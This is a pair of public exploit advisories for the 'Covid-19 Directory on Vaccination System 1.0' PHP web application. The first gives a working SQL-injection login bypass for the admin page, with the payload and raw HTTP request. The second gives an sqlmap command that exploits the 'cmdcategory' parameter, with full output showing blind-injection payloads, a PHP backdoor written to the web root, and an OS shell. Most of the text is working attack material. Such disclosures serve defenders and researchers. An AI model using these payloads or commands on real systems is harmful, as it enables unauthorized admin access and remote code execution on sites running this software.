# Exploit Title: Covid-19 Directory on Vaccination System 1.0 - SQLi Authentication Bypass
# Date: 28/03/2022
# Exploit Author: Saud Alenazi
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/15244/design-and-implementation-covid-19-directory-vacination.html
# Version: 1.0
# Tested on: XAMPP, Linux

1- Go to following url. >> http://localhost/covid-19-vaccination/admin/login.php
2- We can login succesfully with SQL bypass method.

**** Username = admin ' or "a" or '
**** password = anything 

###############################################

POST /covid-19-vaccination/admin/login.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 63
Origin: http://localhost
Connection: close
Referer: http://localhost/covid-19-vaccination/admin/login.php
Cookie: PHPSESSID=dras0itihsadtdkkkv7gv4hf67
Upgrade-Insecure-Requests: 1

txtusername=admin+%27+or+%22a%22+or+%27&txtpassword=1&btnlogin=




--------------------------


# Exploit Title: Covid-19 Directory on Vaccination System 1.0 - 'cmdcategory' SQL Injection
# Date: 28/03/2022
# Exploit Author: Saud Alenazi
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/15244/design-and-implementation-covid-19-directory-vacination.html
# Version: 1.0
# Tested on: XAMPP, Linux



The Covid-19 Directory on Vaccination System is vulnerable to SQL Injection that leads to Remote Code Execution.

Sqlmap command :

sqlmap -u 'http://localhost/covid-19-vaccination/hospital.php?cmdcategory=Private' -p cmdcategory --risk=3 --level=5 --threads=10 --keep-alive --os-shell 

Now you have a web shell uploaded to the server :

sqlmap -u 'http://localhost/covid-19-vaccination/hospital.php?cmdcategory=Private' -p cmdcategory --risk=3 --level=5 --threads=10 --keep-alive --os-shell 
        ___
       __H__                                                                                                                                                 
 ___ ___[,]_____ ___ ___  {1.6.3#stable}                                                                                                                     
|_ -| . [.]     | .'| . |                                                                                                                                    
|___|_  [,]_|_|_|__,|  _|                                                                                                                                    
      |_|V...       |_|   https://sqlmap.org                                                                                                                 

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 00:35:27 /2022-03-28/

[00:35:31] [INFO] resuming back-end DBMS 'mysql' 
[00:35:31] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: cmdcategory (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: cmdcategory=Private') AND 3773=3773-- fUxB

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: cmdcategory=Private') AND (SELECT 9765 FROM (SELECT(SLEEP(5)))DnRk)-- LWnB
---
[00:35:32] [INFO] the back-end DBMS is MySQL
web application technology: PHP 8.1.2, Apache 2.4.52
back-end DBMS: MySQL 5 (MariaDB fork)
[00:35:32] [INFO] going to use a web backdoor for command prompt
[00:35:32] [INFO] fingerprinting the back-end DBMS operating system
[00:35:32] [INFO] the back-end DBMS operating system is Linux
which web application language does the web server support?
[1] ASP
[2] ASPX
[3] JSP
[4] PHP (default)
> 4
do you want sqlmap to further try to provoke the full path disclosure? [Y/n] n
[00:36:09] [WARNING] unable to automatically retrieve the web server document root
what do you want to use for writable directory?
[1] common location(s) ('/var/www/, /var/www/html, /var/www/htdocs, /usr/local/apache2/htdocs, /usr/local/www/data, /var/apache2/htdocs, /var/www/nginx-default, /srv/www/htdocs, /usr/local/var/www') (default)
[2] custom location(s)
[3] custom directory list file
[4] brute force search
> 2
please provide a comma separate list of absolute directory paths: /opt/lampp/htdocs/covid-19-vaccination/
[00:36:30] [WARNING] unable to automatically parse any web server path
[00:36:30] [INFO] trying to upload the file stager on '/opt/lampp/htdocs/covid-19-vaccination/' via LIMIT 'LINES TERMINATED BY' method
[00:36:30] [CRITICAL] unable to connect to the target URL. sqlmap is going to retry the request(s)
[00:36:30] [WARNING] if the problem persists please try to lower the number of used threads (option '--threads')
[00:36:31] [INFO] the file stager has been successfully uploaded on '/opt/lampp/htdocs/covid-19-vaccination/' - http://localhost:80/covid-19-vaccination/tmpumlrg.php
[00:36:31] [WARNING] unable to upload the file through the web file stager to '/opt/lampp/htdocs/covid-19-vaccination/'
[00:36:31] [WARNING] backdoor has not been successfully uploaded through the file stager possibly because the user running the web server process has not write privileges over the folder where the user running the DBMS process was able to upload the file stager or because the DBMS and web server sit on different servers
do you want to try the same method used for the file stager? [Y/n] y
[00:36:33] [INFO] the backdoor has been successfully uploaded on '/opt/lampp/htdocs/covid-19-vaccination/' - http://localhost:80/covid-19-vaccination/tmpbwipl.php
[00:36:33] [INFO] calling OS shell. To quit type 'x' or 'q' and press ENTER
os-shell>